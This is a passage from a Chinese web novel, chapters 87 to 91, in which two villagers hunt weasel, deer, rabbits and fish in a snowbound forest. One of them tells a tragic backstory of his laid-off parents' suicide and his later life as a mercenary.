当然,在这深山之中,能带上这些个食盐,其实已然很奢侈了。 尽管没有其余的调料,但这块黄皮子的荤肉,在陈虎的炙烤之下,很快就滋滋冒油,让眼下还饿着的陈虎和马老三,都忍不住食指大动。 马老三看着烤肉逐渐金黄,并散发出了香味之后,忍不住狠狠的咽了口唾沫。 不多时,这只黄皮子便烤制完成。 陈虎找来一张枯叶,将烤肉放到上头,撒上些许食盐,接着便开始大快朵颐。起来。 期间,陈虎并未招呼马老三动手,马老三则在一旁干看着,目不转睛,满脸馋相。 看着陈虎吃得正香,马老三也忍不住一阵意动。 尽管他的脑子里面,不断告诉他:不能吃!不能吃! 这可是黄仙儿,吃了要倒大霉! 但见陈虎吃得这般有滋有味,马老三的手最终还是忍不住伸出去,抓起了一块黄皮子的烤肉。 陈虎眼见马老三一副天人交战的模样,顿时忍俊不禁,笑道: “别愣着了!吃便是!你忘了我是谁?还怕它一只黄皮子吗?” 马老三闻言,不由得嘿嘿一笑,顿时便舍去了心中的芥蒂,捧着黄皮子的烤肉,便大口咬下。 很快,马老三便三下五除二的吃了两斤黄皮子肉,进了肚子。 马老三一边吃,一边嘴还不得空闲,嘟囔出声道: “虎哥说的是!虎哥是天狼星……唔,天狼星转世!黄皮子算啥啊?” 没一会儿的功夫,陈虎和马老三便吃得满嘴流油,所有的黄皮子烤肉,全部都进了两人的肚子。 吃饱之后,两人再度起身,沿着这片空旷地带的林木线,找寻着蛛丝马迹。 此处有溪流,再加上草被繁茂,依照陈虎的经验来看,此处应当栖息着许多的食草动物。 两人并未分头行动,而是一并行动,以免走失。 一边探查,陈虎一边缓缓出声道: “老三,这林中都有些什么食草动物?你有听人说过没?” 马老三闻言,不由得愣了愣。 他并非猎户出身,而是实打实的庄稼汉,不过偶尔也会去村头河里边捕鱼。 要说这方圆百十里山林里头有什么猎物,马老三还当真不太清楚,不过也经常听人说起,一阵回想之后,马老三细细数来: “虎哥,在此之前,我倒是没进过林子打猎。不过,我也听说过,那些个猎户经常猎到的,例如狍子、山鸡、野兔,偶尔会有人打头鹿,或者是野猪回来。” “当然,这些很少。” “毕竟,像是野猪或者山麓啥的,都是靠陷阱抓的,鲜少有人像是你先前那般,直接弓弩、土枪上阵猎杀。” “并且,每次猎到大型猎物,那都算是全村的大事儿,大家茶余饭后,都会拿出来说道说道的。” 陈虎闻言,微微点了点头,他倒也清楚,这些个大型猎物在这动辄纵横上千平方公里的山脉之中,想要碰到,那就得深入,而一深入就是十天半月的,所以是极难遇到的。 更何况,碰到了也不等于就能够猎到。 毕竟,猎物也不是死靶子,会傻傻的站在原地,等你来猎杀的! 再加上,进山的变数多。 要不然,猎一头猎物这般值钱的情况下,若是大型猎物能时常有收获的话,那只怕家家户户都进山刨食去了,哪儿还就只这些猎户? 陈虎和马老三随后,继续沿着这片空阔地带林木线探查。 约莫过了两刻钟的功夫,他们仍旧一无所获。 雪地上,行进十分困难。 厚达半米多的积雪与雪地下不明的地形,都需要消耗大量体力。 就在马老三已然累的气喘吁吁时,陈虎和他却一并怔住,停下脚步,齐齐望向不远处的被积雪盖住的草垛处。 只见,两只硕大的野兔,一溜烟的便窜了出去。 眨眼之间,它们便就没了影。 野兔的皮毛呈棕色,与枯草一个颜色,若是趴在草垛之中,肉眼是很难分辨的。 但野兔行动起来的话,那它们在雪地里面,倒是看得清楚。 不过,等陈虎和马老三对那两只野兔一阵意动,想要架起猎枪时,那两只野兔却已然没了踪影。 陈虎不由得微微皱眉道: “无论是猎枪,还是弓弩,想射中这两只畜生都很困难。它们的速度,实在是太快了!” 马老三闻言,也点了点头道:“虎哥,野兔倒是不稀奇,不说林子里面,就是在庄稼地里面,也经常瞅见,但还真就鲜少听说谁家抓住过。” 野兔的跳跃能力与短距离奔跑速度,哪怕是老虎一类肉食动物捕猎,只怕也难以望其项背。 特别是山林里面生活的野兔,在这种多变的地势面前,它们的跳跃能力,会更占优势。 再加上野兔的体重轻巧,它们快速奔跑在雪地上面,扬起一片积雪的同时,还不会轻易陷进雪地里面,这也让得它们能够更加容易地从猎人的眼皮子底下溜走。 陈虎随即深吸了一口气,经过短暂思考之后,顿时就有了主意: “不追它们,我看这片地界上,这些野兔铁定比咱俩想象的还要多。咱们直接布置陷阱,明儿过来瞧瞧有没有收获。” 马老三也不懂其中的门道,见陈虎有了决断,自然没有异议,当即出声同意道:“虎哥,要咋做,你吩咐就行!” 陈虎点了点头,随后带着马老三来到附近草被丰盛的地方,扒开积雪,找到些还算新鲜的野草。 借助野草做诱饵,而后砍下一根根富有弹性的树枝,再割下一些有着韧性的树皮,搓成麻绳。 很快,一个个简单惯性装置的陷阱,便布满了这片草地。 做完这一切,陈虎和马老三稍作歇息之后,陈虎便指着那条溪涧的上游方向道: “此处明儿再过来探查,今天后面咱们沿着溪涧往上走,瞅瞅上游有没有水潭什么的。” 此时,已然是正午时分。 陈虎与马老三都感受到肚子在开始抗议,两人一边走,一边探查着四周。 陈虎心里面很清楚,今儿若是没有猎获的话,那他和马老三就得断粮了。 第一卷 第87章 今儿肯定不会让你失望! 在这般冷峻的条件之下,没有食物就等于没有热量。 而没有热量的话,能不能撑过今晚,那就成了未知数了。 不同于正常气候下挨饿,山林之中的平均气温,是低于零下二十摄氏度的。 尽管有着厚重的袄子和各种衣物防寒,但仍旧是不可能最大程度的抵挡体温流失。 而身体为了保证体温维持在一个安全水准上,会加速血液流动速度,来维持体温。 这也让得冬日的消耗,近乎是正常情况下的数倍! 若是挨饿太久,届时体能不足以供应热量,那到了夜间气温骤降,那只不被欢迎的冰冷的手,就随时有可能抓住二人! 基于眼下捕猎不仅仅是为了收获,更是为了保命。 在午后逐渐适应光线的陈虎,也果断的舍弃了挡住视线的麻布。 尽管一开始不太舒服,但很快,陈虎便完全适应。 陈虎和马老三沿着溪涧,一路朝着上游搜寻而去,却一直不见水潭或是湖泊。 就在陈虎也有些气馁时,却在经过一处斜坡时,猛地停下脚步,并抬手示意一旁的马老三,止步噤声。 马老三疑惑的朝着前方看去,顿时眼前一亮! 只见,斜坡上方的崖壁上,竟有几只山麓正跳跃在绝壁之间! 陈虎神色间满是惊喜,压低了声音道: “山麓,这东西也是鹿的一种,市值只怕高的吓人!马老三,你搁这儿守着,把枪架上,躲严实些!等会儿我绕到崖壁上头驱赶,你瞅准了,它们不跑到面前不要开枪,免得惊到这几只山麓往两侧跑了。” 马老三闻言,连连点头,咬牙保证道:“虎哥,你放心!今儿肯定不会让你失望!” 陈虎闻言,拍了拍马老三的肩膀,接着便朝着一侧绕行,向山壁顶上而去。 马老三也依照陈虎吩咐,寻了一处灌木直接趴下,架上猎枪,死死盯着那群山麓的方向。 岩壁上的山麓,约莫有个七、八只的模样。 其中有三只半大不大,应当是还没成年,剩余的几只每一只肩高都超过一米二,总体看下来,它们的体重大概在七十斤到九十斤之间。 陈虎很快便摸到了绝壁顶上,悄无声息探出头,看着正小心翼翼走在岩壁间的这些山麓。 这群山麓距离崖壁顶上,约莫还有个十来米距离。 它们的蹄每走出一步,都能够紧紧嵌合在崖壁凸出的岩石上。 这高度换做其他人来看,一眼都得发晕,但它们却走在上面,试图直接登顶。 陈虎深吸了一口气,不再多做犹豫,当即便探出身子,手持猎枪,朝着下方的山麓,直接开枪! 陈虎的出现,顿时便引起了这群山麓的察觉。 两只山麓率先往下走,陈虎深吸了一口气,接着瞄准,果断开火! 砰! 随着一声巨响,山野震荡! 但一枪打出,却不见这些山麓受到影响,陈虎不由皱眉,赶忙将土枪放下,转而使用弓弩。 这些自制猎枪的基础射程,大概在两百米到三百米之间。 可这还只是基础射程,相较于有效射程,只能说没太大用处。 基本上超过一百米开外,杀伤力就会锐减到不剩一成。 两百米开外,就是打在肉上,也没有什么杀伤力。 并且,子弹结构是火药引爆激射出内部钢珠,杀伤力在超过十米范围后,更是锐减。 眼见一枪没起作用,陈虎急忙掏出弓弩。 但枪声却已然惊到这群山麓,它们开始急速朝下奔逃。 还不等陈虎架好弓弩,它们便已然纷纷退到山下。 不过,让陈虎意外的是,先前的枪声吓到了这群山麓,直接就让得一头成年山麓竟是脚下一滑砸落下去。 这处崖壁近乎有百十米高,有一定的坡度。 在那头山麓下坠的过程中,它的身子不断的砸在岩壁上,从下坠到落地。 不过转眼的功夫,它便已然重重撞击石壁十几次! 待到落地后,那头山麓已然是一动不动,很显然是摔死了! 陈虎望着此时已经到了山下的这群山麓,感叹于它们速度之快的同时,也只能期盼着马老三的枪子能够多留下一、两只。 与此同时,受惊的山麓开始朝着各个方向,奔逃而去。 马老三静静的匍匐在雪地灌木中,听着逐渐接近的悉悉索索声响,死死注视着前方。 片刻功夫,几只山麓果真就到了马老三的面前,马老三急忙瞄准扣动扳机。 又是一声巨响传开,马老三赶忙装填弹药定睛看去,却已然不见了这群山麓影子。 不多时,陈虎从山顶折返,来到崖壁下,先拾起了那只受惊摔下来的山麓。 这头山麓拎在手里,陈虎总算欣慰不少,大概有个五十来斤重,估摸着也还没成年,体型大小也算中上。 拎着山麓,陈虎又与马老三会合,见马老三哭丧着脸,陈虎便已然明白了情况。 眼见着陈虎拎着一只山麓走到面前,马老三的心中,更是懊恼,直接就向陈虎开口致歉道: “虎哥,我没出息!没打中!等我换填弹药,这群山麓都跑得没影了。” 陈虎闻言,轻笑着摇了摇头道:“无妨!这才也算是有猎获。你也别懊恼,我开枪也没打中,这只还是被枪声吓到,自个儿滚下来砸死的。” 闻言,马老三直接愣了愣,随后苦笑一声,没再出声。 陈虎将那头山麓交给马老三后,却望着不远处雪地上的一抹鲜红,当即皱了皱眉。 接着,陈虎来到那处红色的痕迹前。 仅一眼,陈虎便眼前一亮,急忙叫来马老三道: “马老三,快过来!你打中了!” 马老三诧异上前,望着地上那一滩血迹,也是不由得愣住,不可思议道:“打中了?可咋个没见留下一只?” 陈虎轻笑开口道: “估计没打中致命部位,不过没事,既然有伤口,那就跑不远!咱们顺着脚印追过去!” 马老三当即来了精神,将那头摔死的山麓扛到肩上,便跟着陈虎追了下去。 走出百十米地,二人随着脚印一路追踪,当即又发现了一些血迹。 陈虎望着血迹道:“看样子,这一枪是打中了要害,虽然不能立刻致命,但也让伤口处出血,一时之间,不能直接冻结。” 马老三闻言,也是十分赞同的点了点头。 正如陈虎所说,这般天气,若是轻伤,伤口处的出血一眨眼的功夫,就会被冻住! 若非伤到了要害,例如动脉或是脏器一类位置,便不可能留下第二处血迹。 陈虎和马老三随后接着一路追踪,由于扛着一头山麓,再加上地势崎岖不明,以及积雪覆盖,二人走得并不快,但有着山麓的脚印指路,他们倒也不会跟丢。 第一卷 第88章 人是一个多元二次函数 不多时,陈虎和马老三走到了一处山坳处。 此处有两座高峰,一左一右的竖立着。 山峰中间,是一条布满灌木的山坳。 脚印顺着山坳进去,一路向上。 陈虎和马老三没有犹豫,便跟了进去! 此时临近天黑,山坳顺着向上,让人顿觉本就寒冷的天气,更显阴寒。 山风吹拂着两侧的林木,发出了奇怪动静。 山坳中的茫茫雪地上,除了那一排山麓的脚印只在,再也不见多余的线索。 沿着山麓的脚印向上,走了约莫半个小时。 陈虎和马老三最终在一处岩壁的缝隙之中,寻到了那头中枪的山麓。 马老三惊喜着将其拖了出来,这头山麓约莫有六十来斤重,比起先前那头山麓,稍微大上一些。 陈虎也十分惊喜,上前查看,这才发现那处枪伤竟是在这头山麓的额头处! 陈虎顿时万分惊讶道: “这般的伤势竟然还能够跑出三里地?简直匪夷所思!” “虎哥,你看这……” 马老三很快便发现了特异之处,手指着这头山麓的腹部。 陈虎低下身查看,这才发现这头山麓的腹部鼓胀,明显是有奶水。 再回想起先前的那几只小山麓,陈虎当即起身,查看四周。 马老三还在感叹这山麓当了娘,估计是濒死想着喂养孩子,才能多跑那么一段路,当真是万物有灵…… 陈虎却在一旁发现了多出来的一排蹄印,并且在一处灌木后,看到了一只半大的山麓,正瑟瑟发抖。 陈虎没有丝毫犹豫,抬起猎枪,便直接扣动了扳机。 距离不足五米,喷射的钢珠呈现扇面扩散,根本无处可躲,那头小山麓直接毙命当场! 听到枪声的马老三,这才反应过来,赶忙上前,当即就见到了那头惨死的小山麓。 马老三顿时神色一怔,有些不忍道: “虎哥,这头小的顶多二十来斤,它娘这般感人,杀了它……” 马老三一阵感悲伤秋,让陈虎无奈的翻了个白眼,当即将那头小山麓拎着走近,然后直接就摔在马老三的面前道: “你也不想想,看样子,这头小山麓还没有断奶,离了它娘的话,它在这冰天雪地里面,还不得饿死?与其饿死的话,还不如一枪结果了它,是不是让它少受罪?” 陈虎这话顿时就把还有些感伤的马老三,给问懵了,半晌都没接话。 陈虎看着这副模样的马老三,心中也是又无奈,又想笑。 他还记得马老三亲手杀了王胜、马红艳以及陈桥一家的种种,如今的马老三,可不是当初那个老实的庄稼汉了,他的手上足足沾了有五条人命! 从一开始,在陈虎间接的引导之下,马老三杀了王胜。 再到后来,马老三受到马红艳的蛊惑,杀了陈桥一家。 若是这些事情抖落出去,十里八乡都会知道他马老三是一个活脱脱的杀人魔,保不齐吓唬小孩不睡觉的新角色,这就又多了一个了。 但眼见着马老三竟然会共情一只山麓,共情这披毛戴角的畜生,陈虎就忍不住心头一阵感慨。 果然,人是一个多元二次函数。 所有人都有无数面,仅以善恶定义,来评判一个人,从来都是妄谈! 你能够从一个人的身上,看到许多特质,例如善良、罪恶、自私、慷慨等等。 人是多变的,他今天也许是一个勤劳勇敢的父亲,明天也许就可以成为一个杀人犯,今天也许是个穷凶极恶的狂徒,回到家后,或许又是一个给儿子当马儿骑的慈父。 等到陈虎和马老三将这三头山麓带回庇护所时,天色已然完全黑了。 精疲力竭的二人处理完猎物后,便架起了柴火。 没多久,一块块精肉上火烤制,很快便肉香四溢,二人大快朵颐。 这顿晚饭可以说是两人近几日来,吃得最为尽兴的一顿。 吃饱后,陈虎又摘来一些松针,将其一并与雪水煮开后,当作茶水喝着。 茶余饭后,两人围坐在火堆前闲聊。 马老三今儿格外兴奋,许是因为今天他第一次开枪打中猎物,所以他脸上的笑容,就从没有消失过。 “虎哥,等这次回去的话,也该过年了。今年要不我让杨春把年夜饭做丰盛些,咱们两家人一起吃个年夜饭?” 陈虎闻言,轻笑着摇头:“你家房子都没有翻新,等明年吧,今年带上老婆孩子一并去我家过年。杨春和我娘一起烧一顿年夜饭!” 马老三闻言,当即就不好意思的挠头,嘿嘿笑道:“虎哥说的是!那咱们就这么定下了!” 两人有一搭没一搭的聊到了半夜,马老三不知怎的,突然就有些感伤,接连唉声叹气,说着些昏话道: “虎哥啊,没碰到你之前,我全家到了年关,就等着饿肚子了。当时,我都想着要不要把我家小雨给送人算了,送出去好歹有条活路不是?杨春和孩子跟着我,缺衣少食,并且今年的年景不好,我们就差等着饿死了。” “我这人一辈子没啥出息,三十好几才讨了个老婆,老婆懂事能操持家里,还生了个大胖小子,结果我却连养活一家子都做不到。” “唉……虎哥,你比我小上二十岁,却有这般本事,你说我这人活了大半辈子,是不是失败的过分?” 陈虎静静地听完马老三的这阵牢骚,然后抓起酒壶,往他的嘴里猛灌了一口,接着神情一阵恍惚,苦笑道: “有一家子原本过得很不错,男人是工厂职工,女人也在工厂食堂配菜、打荷。两人攒了工资,买了城里的一处房子,还生了个大胖小子。” “有孩子之后,女人就辞了职,在家带孩子操持家务。” “本来,一切都挺好,但后来工厂效益不好倒了,城里所有的工厂都倒了,大家下岗之后,就都没了生计。做了职工失去了庄稼地,下岗后,两夫妻就都没法维持生计了。” “这一家过了一个艰难、难熬的冬天。” “那一年春节,男人不知道从哪儿找来了一些面粉和腌菜。这一家年三十晚上,将年幼的小儿子送到了福利院门口,回到家后,用一包老鼠药包,放进了饺子里面……” 陈虎神情漠然将这个故事,讲述给马老三,马老三见陈虎情绪低落,也识趣的没吱声。 陈虎好似全然沉浸到了叙述的这个故事之中了。 思绪翻涌间,陈虎仿佛又看到了那一晚,父母包上饺子,却将自己遗弃福利院门外,而后毅然决然地转头离去的那一晚。 陈虎讲述完这个故事,便不再多言,然后静静坐在火堆面前,不时地往嘴里灌酒。 好似那年三十的那个寒冷的雪夜,与眼前的漫山遍野的雪夜相互映衬、重叠,时间的脉络仿佛在一瞬间内,模糊不清。 那一年,陈虎仅有七岁,一个勉强能够记事的年纪。 年幼的陈虎并不清楚,父亲下岗意味着什么。 他只是渐渐地察觉到父母的笑容变少了,家里的饭菜也逐渐变得寡淡,甚至于要一家人饿着肚子,喝着宛如清水的米汤。 第一卷 第89章 眼看就要饿死 “你体会过住在筒子楼里面,傍晚时分,家家户户升起炊烟,满楼都是饭菜香味,自己一家人却只能就着煮熟的烂菜叶,喝着米汤的滋味吗?” “你知道吃了掺了老鼠药的毒饺子,药死了后,在腊月寒冬冻了一整夜的尸体,是什么模样吗?” 陈虎喃喃出声,他的眸光,黯淡而深邃。 这一刻,火光照耀在他的脸上。 红晕浮现在他近来几日因为不修边幅,显得稚嫩而沧桑的脸上。 望着他决绝而苦涩的神情,马老三这一刻直接就呆愣住了。 对于马老三而言,陈虎说的这个故事里面,有许多他不能够理解的点。 例如筒子楼、工厂职工、下岗等等…… 他更不明白陈虎会为一个故事,而神情悲怆。 毕竟,在马老三的视角中,陈虎一直以来都生活在上河村,这辈子走过最远的地方,也仅仅只是小镇而已。 在进山打猎之前,陈虎仿佛与这上河村几十户人家的孩子,并没有什么两样。 陈虎仍在细细讲述着那个故事,马老三静静聆听着,不作言语。 时间来到1987年的冬天,北方的一座工业小镇上。 作为家中独子的陈虎,不仅备受宠爱,还自幼天资聪颖。 在这个幸福朴实的职工家庭中,年幼的陈虎从牙牙学语,再到义务入学。 一家三口搬进了新家,父亲作为技工薪资,也属于周围人中的佼佼者。 依照陈虎父母的考量,等到儿子上初中后,一家子就搬到县城去。 到时候,陈虎父亲再申请调任。 性格稳重的父亲,贤良淑德的母亲,再加上天资聪颖的儿子,仿佛什么好事儿都让这一家子占尽了。 可往往悲剧的开端,都源于幸福的过往。 这是一场席卷了成千上万家庭的悲剧,由于开放私营,大范围的工厂倒闭,造成了一股失业下岗洪流。 这股洪流裹挟的巨浪,让无数的家庭,在一夜之间,走投无路。 作为洪流之下微不可察的一分子,陈虎一家也随着大浪砸下。 一时之间,陈虎父母都慌了神。 陈虎父亲下岗两月后,家里面已然到了近乎揭不开锅的状态。 这一晚,餐桌上仅有一锅白粥和一碗腌菜。 年仅七岁的陈虎,不明白为什么一连一整月都见不到半点儿荤腥。 他望着碗里面的白粥,赌气似的用筷子拨弄着。 父亲见陈虎这般糟蹋白粥,本就因为失业后屡屡碰壁,而积攒的怨气无处发泄,当即便冲着年幼的陈虎,大声怒吼道: “不吃滚出去!别膈应人糟蹋粮食!” 母亲见状,狠狠的瞪了父亲一眼,接着勉强挤出一个笑容,轻抚着陈虎的头,安慰着被父亲吓到的陈虎道: “小虎乖,吃完后,妈妈明天去刘婶家给你买豆浆。” 陈虎没吭声,埋头吃完米粥后,便赌气不看父亲,自个儿跑进了里屋,关上了门。 屋外夫妻俩望着桌上的米粥发愁。 丈夫埋着头,默不作声。 妻子则微微叹了口气,询问道:“今儿你说去进货的事儿咋样了?” 丈夫呼出了一口浊气,伸手去兜里面,想拿香烟却摸了个空。 他不禁苦笑着摇头,原来为了节省开支,以往老婆督促他戒了这么多年的烟,现在就这么简简单单的断了。 他微微眯着眼,仰倒在椅子上,神情自嘲的笑道: “没了!” 妻子见丈夫这副模样,顿时就气不打一处来道: “没了?什么就没了?你把话说清楚!昨晚你和我说得好好的,今早拿着钱去进货,看看能不能谋个营生。回来的时候,你扁担空空,我还说你卖光了,现在又说没了,这是什么说法?” 丈夫脸上怪异的自嘲笑容并未停止,随着笑声逐渐扩大,甚至于他的眼角都涌现出泪花。 他一边笑着,一边从兜里面掏出一张五元面值的纸币,摊平拍在桌上,沙哑着喉咙道: “全在这儿了!全换了一张假钱!” 本来,望见丈夫取出的五块钱,妻子的眼中当即就闪过一抹惊喜。 但听到丈夫的话后,妻子却顿时浑身一震,接着颤抖着手,将那张纸币拿到手中。 看了半晌,妻子的脸上不由得也多了一抹苦笑。 她十分镇定的将那张假币拿起,然后走到炉火边上,不由分说的扔进了炉子。 一阵青烟升腾,盘旋在屋内,伴随着火光一闪而过,这一家所有的希望,全部都葬送在了这张假币上! 转眼到了年关这几日,家中仅剩省吃俭用攒下来的一点米。 半碗小米下锅,煮出来大半锅清汤寡水的米汤。 这一次,妻子再端着米汤上桌,陈虎不再似以往那般赌气。 一连几月的缺衣少食,让得陈虎消瘦不少。 望着米汤和腌菜,陈虎也不再埋怨,也不再糟蹋,反倒是大口大口的喝着。 陈虎一边喝,一边盯着锅里,喝完后抱着碗不出声,等到父母都喝完碗里面的米汤,这才小心翼翼将碗递出去。 一锅米汤,一家人分匀了喝下,莫说是大人,就是孩子也仍旧饥肠辘辘。 这一晚,陈虎十分乖巧的进了屋子,早早睡下。 年幼的他懂事的想着,只要睡着了就能不饿,可饥饿感却不断侵袭着,让得陈虎无法入睡。 夫妻两人此时坐在餐桌前,望着空了的铁锅,对坐低头,一言不发。 实在睡不着的陈虎,晕乎乎的爬起身,正想着去厨房找些吃的,走到门口,却听到了父母的交谈声。 饭桌前,妻子压低了声音,神情漠然说道:“要不把小虎找地方送走吧?再这么下去,孩子年纪小,身体扛不住。” 丈夫没有接话,低着头,让女人看不清脸上的神情,仍旧一言不发。 女人接着“嗤笑”一声,歪着头,喃喃自语道: “楼上孙正她媳妇儿昨天跟车去外地了,听街坊议论说好些个女人去了外地做皮肉生意。一家几口子,到头来却要女人出去脱了裤子养活。” 闻言,丈夫这才抬起了头,他微微眯着眼,仰起头,沉声道: “送小虎走吧!这日子我不打算熬了!你怎么想、想怎么做,都随你!我这辈子早早送走了父母,尽孝不够,对不住他们。如今还得把儿子送走,不能出力养育他,也对不住他。娶你进门,没让你过几年好日子,如今落得个缺衣少食,眼看就要饿死的局面,我更对不住你……” 说着说着,丈夫的声音,沉寂下去。 顿了顿,男丈夫又接着漠然道: “家里面还能卖的,你可以跟着变卖了。跟车去外地的话,多少也是一条活路!你以后好好的,我下辈子……” 第一卷 第90章 这一趟就算是不亏了! 丈夫的话被妻子的啜泣声打断,男人看着泪容满面的妻子,不再出声,面无表情就这么呆呆看着。 哭泣了半晌,妻子这才抽泣着出声: “你打算怎么走?” 望着妻子眼底的决绝,男人的神情一阵动容,接着摇了摇头道: “你可以好生活着,熬一阵子,多少有条活路,这一辈子还长。” 妻子闻言,却是抹干了眼泪,嗤笑道:“这话你怎么不和自己说?你到底打算怎么走?我陪你!” 丈夫听到妻子这话,不由得深吸了一口气,没再吭声。 三日后,年三十这天。 妻子将孩子送到福利院门口后,一声不吭便扭头跑了。 回到家时,她不清楚丈夫从哪儿找来了一些面粉,和一点腌菜。 看着面粉与腌菜,妻子没出声便拿到了厨房忙活。 腌菜剁碎后,妻子从橱柜最显眼的位置,看到了那一包老鼠药。 最终,妻子端来了一碗热气腾腾的腌菜馅饺子。 这一晚,夫妻二人分食了这些饺子。 等到第二天福利院报警,警察送陈虎回到家时,看到了倒在客厅地上的父母。 地上满是二人中毒后所吐出的呕吐物,早已被冻僵的两人脸色铁青,面部、手脚都略显浮肿。 桌上摆着一个瓷碗和两双筷子,瓷碗里面只剩下了一枚饺子。 时间回到密林中的火堆前,喝多的陈虎的脸上,此时已经多出了一抹红晕。 陈虎苦笑着望向马老三,询问道: “你知道那孩子看到那一幕时,脑子里面在想什么吗?” 马老三茫然的摇了摇头,接着又叹气道:“应该哭得厉害吧!小孩儿不懂事,但应该也知道父母离世了。” 陈虎摇了摇头,深吸了一口气,喃喃出声道: “不!男孩在福利院门口冻到半夜才被发现,他饿着肚子,被警察送回了家。打开门看到倒地的父母后,男孩早已没有力气去哭,他的两只眼睛直勾勾地盯着桌上剩下的那一只饺子。” 多年后的男孩,每每回想起那只饺子,始终不明白为什么这对夫妻在临死前饿着肚子,为什么还会留下一只饺子? 如今,陈虎想明白了,或许是因为,两人分食饺子多出了一只。 这一晚,陈虎喝醉后,沉沉睡去。 马老三叹了口气,心中有种说不清道不明的意味。 将陈虎拖到岩缝之下,再将柴火挪近后,马老三苦守在火堆前,就这么干坐着守了一整夜。 闭上眼后,陈虎的思绪混乱中,他又看到了那日桌上的那一枚饺子。 后来,陈虎被警察送回了福利院,福利院同样缺衣少食,他不时的还会被同龄的孩子欺负。 这一年的福利院,已经接收了太多的孩子,人满为患下,饿肚子是常有的事情。 陈虎并没有戏剧性的获得一对富庶夫妻收养。 他跌跌撞撞的在福利院,成长到了十六岁这年。 那年的陈虎,已经学会了街头生活技能,每日都翻墙走出福利院,与街头的闲散人士,混迹一处。 偶尔他会朝着路过行人的钱包伸手,不时还会参与帮派之间的火并、械斗。 年少的陈虎,很快便小有名气,成了整条街打架的一把好手! 直到一次械斗时,陈虎失手将一个青年脑袋砸的头破血流,青年被送进了医院,警察次日便找到了福利院。 害怕蹲苦窑的陈虎,一溜烟的就跑了个没影,辗转找到了当地的蛇头,搭车去到了异国他乡。 两年后,陈虎穿上了防弹衣,拿上了半自动化的武器,成为了漂流各地,整日里刀尖舔血的一名雇佣兵。 …… 等到陈虎醒转时,已然是次日清晨了。 睁开眼,他便瞅见马老三此时趴在火堆边上,正在小憩。 长舒了一口气后,陈虎从岩缝里面,爬了出来。 简单的活动了下身子,陈虎便动手准备早饭,并未吵醒马老三。 他从昨日打来的山麓上面,割下了两块后腿肉,接着又拾来一堆干柴,将柴火架上,然后摆上精肉烤制。 不多时,烤肉的香味,便阵阵传出。 马老三也被这烤肉的香味,勾起了肚子里面的馋虫,堪堪醒转过来。 见陈虎忙活着早饭,马老三不由得深吸了一口气,笑道: “虎哥,醒那么早啊!” 陈虎闻言,微微点头道:“昨晚幸苦你守夜了!” 说话间,陈虎拿起一旁的酒壶拎了拎,接着递到马老三的手中道:“喝口暖暖身子!” 马老三接过酒壶,嘿嘿一笑道:“虎哥说的这是哪里?哪儿有辛苦一说,这是我应该做的才对!” 吃过早饭后,二人径直朝着昨日那片的开阔地赶去。 昨儿设下了不少的陷阱,要说到底能不能成,陈虎心中也没底。 直到隔老远,陈虎瞅见雪地上好几个挣扎的身影,他这才带上马老三,匆忙上前。 “虎哥,这边还有!” 马老三十分兴奋的大喊着,声音在林间徘徊回荡。 陈虎也是喜出望外,笑道:“共计十八个陷阱,九个有货,这一趟就算是不亏了!” 两人忙着上货,一些在陷阱上被圈住的野兔都冻硬了,但仍有野兔还是活蹦乱跳的,它们依旧正试图挣扎开脚上的麻绳。 最后,九只硕大的野兔,毛色各异的被摆在一起,每只约莫八斤到十斤左右,加一起共计有七、八十斤重! 陈虎和马老三合力将这九只野兔简单处理之后,立马就带回了庇护所位置。 回到庇护所后,马老三咧开的嘴角就没收起来过,对着一堆猎物,开始盘点起来。 “三只山麓起码得二百来斤,再加上七、八十斤野兔,这下子算是大丰收了!虎哥,要不咱们今儿趁着天色还早,直接下山回去得了。” 见马老三这般说,陈虎略微思索了片刻后,却摇了摇头道: “不急的!马老三,咱们明早再下山,今天咱们再去找一趟上次的那处湖泊,下几个套,明早收一些渔获再走!” 马老三闻言,顿时眼前一亮道:“那要是再有个百十斤渔获,这次拖回去的猎物,就得是四百斤打底了!” “嗯!” 陈虎和马老三说罢,便开始动身。 两人先将打来的猎物做好掩藏之后,当即便朝着上次发现的那处湖泊赶去。 一路上,马老三都在为这次的猎获,而兴奋得合不拢嘴,一边说着明儿下山之后,要好生的睡上三天,一边又念叨着年后也要给屋子铺上青瓦片。 陈虎对此,自然也是喜闻乐见,他的心中也是忍不住的开始想着家里面的母亲,这几日内怕是挂念他,要挂念坏了。 还有家里面的那两个小家伙,也不知道这几日怎么样了…… 第一卷 第91章 绝户笼 午后,陈虎和马老三再度翻过山头,寻到了那处湖泊。 陈虎率先去编制捕鱼用的绝户笼,他手持短刀,轻轻松松的便砍来不少藤条与树枝,然后三下五除二的便编制完成一个鱼笼。 马老三则走到湖中央,搬着硕大的石头,开始猛砸冰面! 厚实的冰层在多番的撞击之下,终于是多出了几处凹陷。 紧跟着,马老三学着上一次陈虎的动作,用尖锐的石块,绑上了木棍,做成了简单的工具,用于凿击。 忙活半晌,二人的进度都已然完成。 陈虎一口气编制了十五个捕鱼用的绝户笼,马老三则吭哧吭哧地在湖中央的冰层上面,砸出了七、八个冰洞。 两人都没有过多耽搁,简单歇息后,就将一个个捕鱼笼,给放了下去。 做完这一切后,马老三瘫坐在冰面上,大口喘息着笑道: “虎哥,你这捕鱼笼子的编制方法,好像和村里头抓鱼用的不一样。” 陈虎闻言,微微颔首解释道:“这叫绝户笼,只进不出!你想学的话,回头我可以教你。” 马老三闻言,顿时大喜:“这……这不合适吧?虎哥?” 在马老三看来,这陈虎编制绝户笼的手艺,可是独一份的! 这要是学会了,那往后等到开春冰雪化开,哪怕他不进山,就在村头河里面捞鱼,那也是多了份营生! 陈虎自然知晓马老三在想什么,当即泼了盆凉水道: “别瞎想了!这手艺不难,你能拿来在河里头捞鱼,人家滴溜上来琢磨琢磨也能学会,并且搁这儿渔获多,主要还是冰面下的鱼太久没透气了,并且入冬之后,没人来这儿打鱼的。” 马老三闻言,也是想明白了其中关节,但仍是嘿嘿笑道: “那跟着虎哥学了,也能比旁人更早的多一些渔获!” 处理完捕鱼笼,陈虎和马老三当即折返回到了庇护所的位置。 晚间,二人接着烤制些肉食,填饱了肚子,接着便有一搭没一搭的闲聊,深夜相互交替着守夜。 很快,便到了第二日。 陈虎和马老三都醒的极早,清晨的山风拂过,让两人打了个寒战。 马老三动手烤制肉食,陈虎则将猎物一一装车。 吃过早饭之后,二人便带上猎物、辎重,拖车朝着那片湖泊的方向赶去。 陈虎一连十日与马老三待在深山之中,家里头的杨蓉和杨春,一个忧心儿子,一个担心丈夫,早就盼星星盼月亮,愁了个半死! 每日傍晚,两人都会结伴去进山的山道上看一圈,眼巴巴等着两人回来。 